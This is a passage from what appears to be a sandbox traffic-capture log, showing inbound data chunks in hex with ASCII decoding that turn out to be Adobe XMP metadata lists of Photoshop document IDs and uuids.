<rdf:li>D4B53EE81C66CC6C0C9E3720A7025E4E</rdf:li> <rdf:li>D4B7AE92D6062
2022-07-20 11:24:37 UTC	3945	IN	Data Raw: 31 41 34 36 44 37 32 38 30 36 33 43 43 31 38 43 39 46 44 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 39 41 42 35 44 31 34 44 30 33 32 39 33 42 42 46 32 43 34 44 46 44 38 43 32 36 44 31 44 37 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 39 43 38 30 32 43 34 38 38 31 38 32 35 35 35 44 37 38 41 45 31 43 36 36 43 34 41 32 39 42 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 39 44 43 42 30 32 35 32 35 46 43 41 35 43 30 36 46 38 41 45 45 42 37 46 31 38 37 38 46 32 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 39 45 36 45 30 45 43 46 33 44 39 37 44 39 42 42 44 39 42 41 31 33 44 39 39 43 38 34 41 32 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 39 45 44 31 46 34 37 43 45 32 38 31 42 45 46 31 Data Ascii: 1A46D728063CC18C9FDD</rdf:li> <rdf:li>D9AB5D14D03293BBF2C4DFD8C26D1D73</rdf:li> <rdf:li>D9C802C488182555D78AE1C66C4A29B3</rdf:li> <rdf:li>D9DCB02525FCA5C06F8AEEB7F1878F2A</rdf:li> <rdf:li>D9E6E0ECF3D97D9BBD9BA13D99C84A2A</rdf:li> <rdf:li>D9ED1F47CE281BEF1
2022-07-20 11:24:37 UTC	4009	IN	Data Raw: 3a 6c 69 3e 45 37 34 34 44 34 44 37 31 45 42 45 39 34 42 46 37 37 41 43 34 43 34 38 37 37 34 34 34 38 31 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 37 34 41 31 31 41 39 38 35 38 44 45 42 33 30 35 46 31 34 30 45 46 32 32 43 43 43 30 42 45 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 37 36 34 43 45 32 44 30 30 30 45 38 41 41 45 45 31 38 46 35 35 46 43 38 32 35 43 35 36 43 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 37 36 43 38 43 31 45 38 34 41 34 32 38 31 36 42 31 33 33 33 34 34 37 46 41 44 36 39 41 34 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 37 37 36 34 44 39 31 38 35 32 46 43 44 30 42 34 34 41 35 43 37 30 34 37 33 44 34 43 33 43 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 Data Ascii: :li>E744D4D71EBE94BF77AC4C4877444813</rdf:li> <rdf:li>E74A11A9858DEB305F140EF22CCC0BEB</rdf:li> <rdf:li>E764CE2D000E8AAEE18F55FC825C56CC</rdf:li> <rdf:li>E76C8C1E84A42816B1333447FAD69A4D</rdf:li> <rdf:li>E7764D91852FCD0B44A5C70473D4C3CD</rdf:li> <rdf:li>E
2022-07-20 11:24:37 UTC	4041	IN	Data Raw: 38 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 32 42 37 32 36 31 44 32 39 30 44 46 36 38 31 41 39 33 37 39 32 30 34 31 33 43 31 43 43 31 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 32 42 45 41 43 42 39 37 31 32 33 36 46 33 31 39 37 39 33 38 30 44 43 39 46 42 30 31 38 41 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 32 43 39 44 35 45 39 30 44 34 34 46 33 30 30 36 45 41 38 30 33 31 39 32 31 44 43 35 33 32 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 32 44 33 37 38 31 32 38 45 35 36 37 43 44 33 45 38 45 31 39 39 42 42 30 45 37 46 31 30 33 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 32 45 33 37 32 45 45 33 31 32 34 42 39 32 42 36 34 38 44 42 45 30 31 42 41 38 31 32 45 41 41 3c 2f 72 Data Ascii: 8F</rdf:li> <rdf:li>F2B7261D290DF681A937920413C1CC12</rdf:li> <rdf:li>F2BEACB971236F31979380DC9FB018AB</rdf:li> <rdf:li>F2C9D5E90D44F3006EA8031921DC5329</rdf:li> <rdf:li>F2D378128E567CD3E8E199BB0E7F103A</rdf:li> <rdf:li>F2E372EE3124B92B648DBE01BA812EAA</r
2022-07-20 11:24:37 UTC	4064	IN	Data Raw: 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 39 32 39 30 34 31 46 34 37 45 43 35 33 33 36 45 43 33 45 32 46 43 43 41 42 46 32 38 45 33 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 39 33 39 36 33 35 39 44 42 37 43 36 41 35 33 35 35 39 34 36 43 44 38 33 33 37 34 45 43 41 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 39 34 36 38 35 46 45 38 32 34 37 45 35 33 31 37 30 32 42 34 31 39 39 35 43 32 34 34 30 39 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 39 35 41 33 42 33 37 41 44 35 31 39 39 46 31 44 36 41 30 32 37 46 32 32 30 44 32 31 32 45 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 39 35 41 34 35 32 44 34 37 43 43 43 35 35 46 37 34 32 32 45 43 45 45 44 37 32 32 46 39 42 42 3c 2f 72 64 66 Data Ascii: </rdf:li> <rdf:li>F929041F47EC5336EC3E2FCCABF28E3A</rdf:li> <rdf:li>F9396359DB7C6A5355946CD83374ECAE</rdf:li> <rdf:li>F94685FE8247E531702B41995C244099</rdf:li> <rdf:li>F95A3B37AD5199F1D6A027F220D212E9</rdf:li> <rdf:li>F95A452D47CCC55F7422ECEED722F9BB</rdf
2022-07-20 11:24:37 UTC	4098	IN	Data Raw: 64 65 64 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 31 39 66 33 33 39 38 30 2d 38 32 31 62 2d 31 31 64 62 2d 38 64 36 64 2d 63 39 34 37 39 64 39 38 30 30 38 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 31 61 30 62 37 35 61 37 2d 64 39 38 66 2d 31 31 37 38 2d 61 32 30 64 2d 61 66 32 65 66 39 63 31 39 37 64 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 31 61 32 37 61 34 39 32 2d 34 61 61 66 2d 31 31 37 38 2d 61 32 34 63 2d 66 31 30 32 63 35 38 30 64 64 32 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 Data Ascii: dedc</rdf:li> <rdf:li>adobe:docid:photoshop:19f33980-821b-11db-8d6d-c9479d98008f</rdf:li> <rdf:li>adobe:docid:photoshop:1a0b75a7-d98f-1178-a20d-af2ef9c197df</rdf:li> <rdf:li>adobe:docid:photoshop:1a27a492-4aaf-1178-a24c-f102c580dd27</rdf:li> <rdf:li>adobe
2022-07-20 11:24:37 UTC	4146	IN	Data Raw: 34 39 37 65 38 30 38 30 2d 64 38 33 32 2d 31 31 65 36 2d 38 63 31 31 2d 64 31 32 30 61 30 63 65 37 35 62 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 34 39 38 34 31 30 35 35 2d 31 32 62 34 2d 31 31 65 38 2d 62 65 39 32 2d 64 61 35 34 62 32 34 38 32 32 33 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 34 39 39 39 38 62 62 37 2d 33 34 30 36 2d 31 31 37 38 2d 62 66 32 36 2d 64 62 37 36 30 36 38 30 31 61 34 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 34 61 35 39 30 34 36 30 2d 66 31 65 33 2d 31 31 65 37 2d 61 62 31 30 2d 62 37 36 Data Ascii: 497e8080-d832-11e6-8c11-d120a0ce75b7</rdf:li> <rdf:li>adobe:docid:photoshop:49841055-12b4-11e8-be92-da54b2482239</rdf:li> <rdf:li>adobe:docid:photoshop:49998bb7-3406-1178-bf26-db7606801a44</rdf:li> <rdf:li>adobe:docid:photoshop:4a590460-f1e3-11e7-ab10-b76
2022-07-20 11:24:37 UTC	4177	IN	Data Raw: 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 36 31 33 61 39 36 38 35 2d 34 39 61 64 2d 31 31 64 38 2d 62 63 32 31 2d 65 35 62 37 35 31 63 65 63 62 32 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 36 31 62 34 61 65 30 33 2d 36 62 66 39 2d 31 31 64 39 2d 38 63 64 36 2d 65 63 33 34 39 30 34 38 64 35 37 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 36 31 66 30 62 64 63 38 2d 65 31 37 35 2d 31 31 64 38 2d 38 30 35 31 2d 38 38 38 38 33 63 33 30 36 63 63 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 Data Ascii: df:li>adobe:docid:photoshop:613a9685-49ad-11d8-bc21-e5b751cecb20</rdf:li> <rdf:li>adobe:docid:photoshop:61b4ae03-6bf9-11d9-8cd6-ec349048d578</rdf:li> <rdf:li>adobe:docid:photoshop:61f0bdc8-e175-11d8-8051-88883c306cc2</rdf:li> <rdf:li>adobe:docid:photoshop
2022-07-20 11:24:37 UTC	4232	IN	Data Raw: 64 39 2d 38 62 35 37 2d 38 63 61 61 35 33 61 38 34 31 63 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 39 30 61 32 37 35 66 66 2d 32 63 63 63 2d 31 31 65 36 2d 61 63 65 36 2d 66 31 35 37 38 36 39 37 65 37 61 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 39 31 66 37 61 32 61 64 2d 66 31 39 35 2d 31 31 65 34 2d 61 61 64 64 2d 63 66 64 35 30 66 65 62 30 38 30 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 39 32 30 30 63 32 65 33 2d 39 61 61 62 2d 31 31 37 61 2d 39 35 38 65 2d 61 64 36 62 63 65 36 31 62 39 30 38 3c 2f 72 64 66 3a 6c Data Ascii: d9-8b57-8caa53a841c7</rdf:li> <rdf:li>adobe:docid:photoshop:90a275ff-2ccc-11e6-ace6-f1578697e7ab</rdf:li> <rdf:li>adobe:docid:photoshop:91f7a2ad-f195-11e4-aadd-cfd50feb0808</rdf:li> <rdf:li>adobe:docid:photoshop:9200c2e3-9aab-117a-958e-ad6bce61b908</rdf:l
2022-07-20 11:24:37 UTC	4271	IN	Data Raw: 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 63 33 38 38 33 35 39 39 2d 66 33 64 32 2d 31 31 65 36 2d 62 61 36 37 2d 61 61 64 30 32 33 63 35 30 65 35 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 63 33 63 38 37 34 32 37 2d 63 38 31 34 2d 31 31 37 61 2d 39 32 35 65 2d 62 32 64 66 39 36 35 62 39 64 35 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 63 34 32 32 63 64 39 36 2d 62 66 34 34 2d 31 31 65 37 2d 38 64 39 65 2d 65 61 61 39 66 39 65 66 35 36 35 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 63 34 33 31 37 64 33 65 2d 35 31 Data Ascii: docid:photoshop:c3883599-f3d2-11e6-ba67-aad023c50e50</rdf:li> <rdf:li>adobe:docid:photoshop:c3c87427-c814-117a-925e-b2df965b9d5f</rdf:li> <rdf:li>adobe:docid:photoshop:c422cd96-bf44-11e7-8d9e-eaa9f9ef5651</rdf:li> <rdf:li>adobe:docid:photoshop:c4317d3e-51
2022-07-20 11:24:37 UTC	4311	IN	Data Raw: 37 61 36 39 64 65 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 64 66 64 39 37 30 30 35 2d 33 32 33 65 2d 31 31 64 61 2d 38 66 37 31 2d 38 38 65 63 62 36 30 38 31 62 63 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 65 30 32 64 38 31 30 37 2d 31 39 61 61 2d 31 31 37 38 2d 39 63 37 34 2d 66 32 65 34 61 38 37 66 63 32 36 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 65 30 33 36 38 30 30 63 2d 30 35 63 66 2d 31 31 64 61 2d 61 32 32 64 2d 65 61 32 37 35 35 64 30 61 34 32 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 Data Ascii: 7a69dec</rdf:li> <rdf:li>adobe:docid:photoshop:dfd97005-323e-11da-8f71-88ecb6081bc5</rdf:li> <rdf:li>adobe:docid:photoshop:e02d8107-19aa-1178-9c74-f2e4a87fc266</rdf:li> <rdf:li>adobe:docid:photoshop:e036800c-05cf-11da-a22d-ea2755d0a42b</rdf:li> <rdf:li>ad
2022-07-20 11:24:37 UTC	4351	IN	Data Raw: 44 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 31 33 34 32 30 34 42 34 33 43 45 34 44 46 31 31 42 45 43 42 38 32 32 42 45 46 38 32 32 45 34 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 31 33 35 39 46 43 32 39 38 30 46 32 45 30 31 31 41 41 31 42 45 42 41 43 44 35 44 34 30 36 46 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 31 33 36 38 36 38 37 32 37 30 41 37 31 31 44 42 38 31 31 31 45 33 37 45 44 31 38 42 41 43 34 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 31 33 42 36 39 35 37 43 44 32 30 31 31 31 44 42 39 39 31 36 46 42 31 45 45 42 37 34 39 36 35 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 31 33 42 42 42 34 34 42 44 34 Data Ascii: DF</rdf:li> <rdf:li>uuid:134204B43CE4DF11BECB822BEF822E48</rdf:li> <rdf:li>uuid:1359FC2980F2E011AA1BEBACD5D406F2</rdf:li> <rdf:li>uuid:1368687270A711DB8111E37ED18BAC46</rdf:li> <rdf:li>uuid:13B6957CD20111DB9916FB1EEB74965F</rdf:li> <rdf:li>uuid:13BBB44BD4
2022-07-20 11:24:37 UTC	4478	IN	Data Raw: 41 44 39 46 46 45 44 45 45 36 38 33 42 32 36 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 34 41 39 42 42 41 32 36 36 35 46 33 45 30 31 31 38 35 38 32 46 38 45 46 46 42 34 44 42 37 34 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 34 41 43 32 36 41 33 39 44 33 36 45 44 44 31 31 41 31 35 30 38 32 43 45 46 45 46 38 41 43 38 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 34 41 45 30 35 35 39 44 33 30 34 33 44 44 31 31 38 31 38 37 46 31 46 30 30 38 34 45 37 37 30 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 34 42 30 39 39 33 35 41 36 39 42 39 44 43 31 31 42 46 33 37 43 34 34 35 34 41 33 43 41 35 36 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 Data Ascii: AD9FFEDEE683B260</rdf:li> <rdf:li>uuid:4A9BBA2665F3E0118582F8EFFB4DB741</rdf:li> <rdf:li>uuid:4AC26A39D36EDD11A15082CEFEF8AC8D</rdf:li> <rdf:li>uuid:4AE0559D3043DD118187F1F0084E7703</rdf:li> <rdf:li>uuid:4B09935A69B9DC11BF37C4454A3CA56D</rdf:li> <rdf:li>u
2022-07-20 11:24:37 UTC	4486	IN	Data Raw: 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 36 30 33 36 35 30 35 38 35 35 34 41 44 45 31 31 41 32 39 34 44 32 41 34 30 33 39 38 35 45 44 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 36 30 33 45 37 45 41 30 45 39 36 33 45 31 31 31 41 41 43 36 43 36 32 38 36 30 38 33 31 39 36 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 36 30 35 37 45 32 44 46 45 46 31 36 31 31 44 46 39 45 36 46 46 33 37 39 34 42 42 30 38 32 34 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 36 30 37 35 34 35 35 38 42 42 42 46 44 44 31 31 38 32 30 30 44 38 38 44 32 34 32 36 43 44 35 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 36 30 38 35 30 41 45 36 37 39 43 37 45 30 31 31 Data Ascii: f:li> <rdf:li>uuid:60365058554ADE11A294D2A403985EDA</rdf:li> <rdf:li>uuid:603E7EA0E963E111AAC6C62860831962</rdf:li> <rdf:li>uuid:6057E2DFEF1611DF9E6FF3794BB0824F</rdf:li> <rdf:li>uuid:60754558BBBFDD118200D88D2426CD5B</rdf:li> <rdf:li>uuid:60850AE679C7E011
2022-07-20 11:24:37 UTC	4502	IN	Data Raw: 35 43 37 31 31 44 46 42 33 38 33 45 32 43 39 34 42 45 45 43 46 35 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 39 33 36 39 30 34 32 43 32 46 34 36 44 45 31 31 42 44 39 45 45 35 41 36 36 33 39 41 36 32 35 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 39 33 37 44 31 41 33 33 33 37 31 43 31 31 44 44 39 30 42 37 44 38 45 42 30 31 38 34 44 39 41 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 39 33 38 37 35 37 46 42 43 44 36 37 44 45 31 31 39 34 31 46 41 35 30 39 32 42 39 42 36 37 42 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 39 33 43 31 36 31 31 35 39 38 41 37 44 46 31 31 42 38 45 34 42 45 37 39 43 34 45 42 36 30 30 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 Data Ascii: 5C711DFB383E2C94BEECF55</rdf:li> <rdf:li>uuid:9369042C2F46DE11BD9EE5A6639A625F</rdf:li> <rdf:li>uuid:937D1A33371C11DD90B7D8EB0184D9A9</rdf:li> <rdf:li>uuid:938757FBCD67DE11941FA5092B9B67B5</rdf:li> <rdf:li>uuid:93C1611598A7DF11B8E4BE79C4EB6006</rdf:li> <r
2022-07-20 11:24:37 UTC	4518	IN	Data Raw: 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 43 44 30 44 42 30 42 37 30 45 38 30 44 44 31 31 38 45 43 43 41 43 35 31 30 46 35 42 44 31 32 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 43 44 31 34 34 41 31 41 42 43 45 31 44 45 31 31 42 42 45 37 44 41 39 46 42 34 36 36 44 42 41 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 43 44 35 44 33 45 44 45 41 41 45 39 31 31 44 42 41 32 33 37 39 42 45 37 34 37 30 34 45 32 30 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 43 44 36 41 32 37 36 46 32 32 33 31 45 30 31 31 39 37 36 38 44 45 32 46 35 32 31 31 32 46 36 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 43 44 38 38 43 39 35 43 39 32 43 Data Ascii: D</rdf:li> <rdf:li>uuid:CD0DB0B70E80DD118ECCAC510F5BD120</rdf:li> <rdf:li>uuid:CD144A1ABCE1DE11BBE7DA9FB466DBA1</rdf:li> <rdf:li>uuid:CD5D3EDEAAE911DBA2379BE74704E200</rdf:li> <rdf:li>uuid:CD6A276F2231E0119768DE2F52112F6B</rdf:li> <rdf:li>uuid:CD88C95C92C
2022-07-20 11:24:37 UTC	4526	IN	Data Raw: 43 44 43 42 45 30 31 31 42 33 46 45 44 32 34 38 33 31 38 34 38 46 35 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 45 42 34 35 32 35 38 35 36 33 39 37 44 45 31 31 41 34 43 30 43 41 33 43 34 45 46 46 43 41 33 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 45 42 38 44 32 45 35 30 36 43 39 45 45 30 31 31 42 42 33 35 39 45 31 34 35 33 38 41 30 41 34 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 45 42 39 44 43 33 37 45 33 42 36 45 44 45 31 31 38 39 34 42 46 46 45 35 41 32 36 43 44 36 34 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 45 42 46 31 38 34 41 41 33 42 42 45 44 43 31 31 41 44 43 39 41 41 39 34 32 33 46 31 36 45 41 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c Data Ascii: CDCBE011B3FED24831848F59</rdf:li> <rdf:li>uuid:EB4525856397DE11A4C0CA3C4EFFCA36</rdf:li> <rdf:li>uuid:EB8D2E506C9EE011BB359E14538A0A4D</rdf:li> <rdf:li>uuid:EB9DC37E3B6EDE11894BFFE5A26CD643</rdf:li> <rdf:li>uuid:EBF184AA3BBEDC11ADC9AA9423F16EAD</rdf:li> <
2022-07-20 11:24:37 UTC	4542	IN	Data Raw: 31 31 41 42 30 38 38 38 45 43 39 44 38 42 38 35 41 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 41 42 30 38 39 31 42 37 39 31 32 32 42 32 32 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 41 42 30 38 43 41 46 34 46 45 31 39 42 45 39 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 41 42 30 38 43 44 42 32 45 32 45 35 42 43 33 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 41 42 30 38 45 38 45 38 45 45 33 46 30 32 38 39 3c 2f 72 64 66 Data Ascii: 11AB0888EC9D8B85A6</rdf:li> <rdf:li>xmp.did:0180117407206811AB0891B79122B22D</rdf:li> <rdf:li>xmp.did:0180117407206811AB08CAF4FE19BE9D</rdf:li> <rdf:li>xmp.did:0180117407206811AB08CDB2E2E5BC33</rdf:li> <rdf:li>xmp.did:0180117407206811AB08E8E8EE3F0289</rdf
2022-07-20 11:24:37 UTC	4558	IN	Data Raw: 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 35 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 31 30 39 44 38 45 43 45 42 46 30 43 44 34 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 35 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 31 30 39 45 38 37 45 36 44 44 31 34 38 31 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 35 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 31 30 39 45 38 44 34 43 39 33 37 45 44 41 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 35 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 31 30 39 46 43 35 42 39 42 34 35 36 46 39 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 35 38 30 31 Data Ascii: > <rdf:li>xmp.did:05801174072068119109D8ECEBF0CD41</rdf:li> <rdf:li>xmp.did:05801174072068119109E87E6DD14813</rdf:li> <rdf:li>xmp.did:05801174072068119109E8D4C937EDAB</rdf:li> <rdf:li>xmp.did:05801174072068119109FC5B9B456F9A</rdf:li> <rdf:li>xmp.did:05801
2022-07-20 11:24:37 UTC	4566	IN	Data Raw: 46 33 39 32 34 44 45 31 31 31 38 46 45 42 44 33 34 39 43 39 32 36 38 45 36 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 37 45 32 41 39 41 41 36 42 32 30 36 38 31 31 38 38 43 36 41 33 30 33 41 37 32 37 33 32 46 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 37 62 35 63 33 34 30 2d 38 39 32 35 2d 61 32 34 37 2d 39 31 61 32 2d 62 32 31 63 39 35 64 34 63 66 62 62 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 37 64 39 66 62 38 38 2d 36 64 39 65 2d 34 37 63 66 2d 61 33 37 30 2d 38 38 31 63 38 36 33 34 65 63 62 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 37 65 30 63 31 32 62 2d 62 35 66 34 2d 34 62 30 64 2d 61 63 Data Ascii: F3924DE1118FEBD349C9268E6E</rdf:li> <rdf:li>xmp.did:07E2A9AA6B20681188C6A303A72732FA</rdf:li> <rdf:li>xmp.did:07b5c340-8925-a247-91a2-b21c95d4cfbb</rdf:li> <rdf:li>xmp.did:07d9fb88-6d9e-47cf-a370-881c8634ecb5</rdf:li> <rdf:li>xmp.did:07e0c12b-b5f4-4b0d-ac
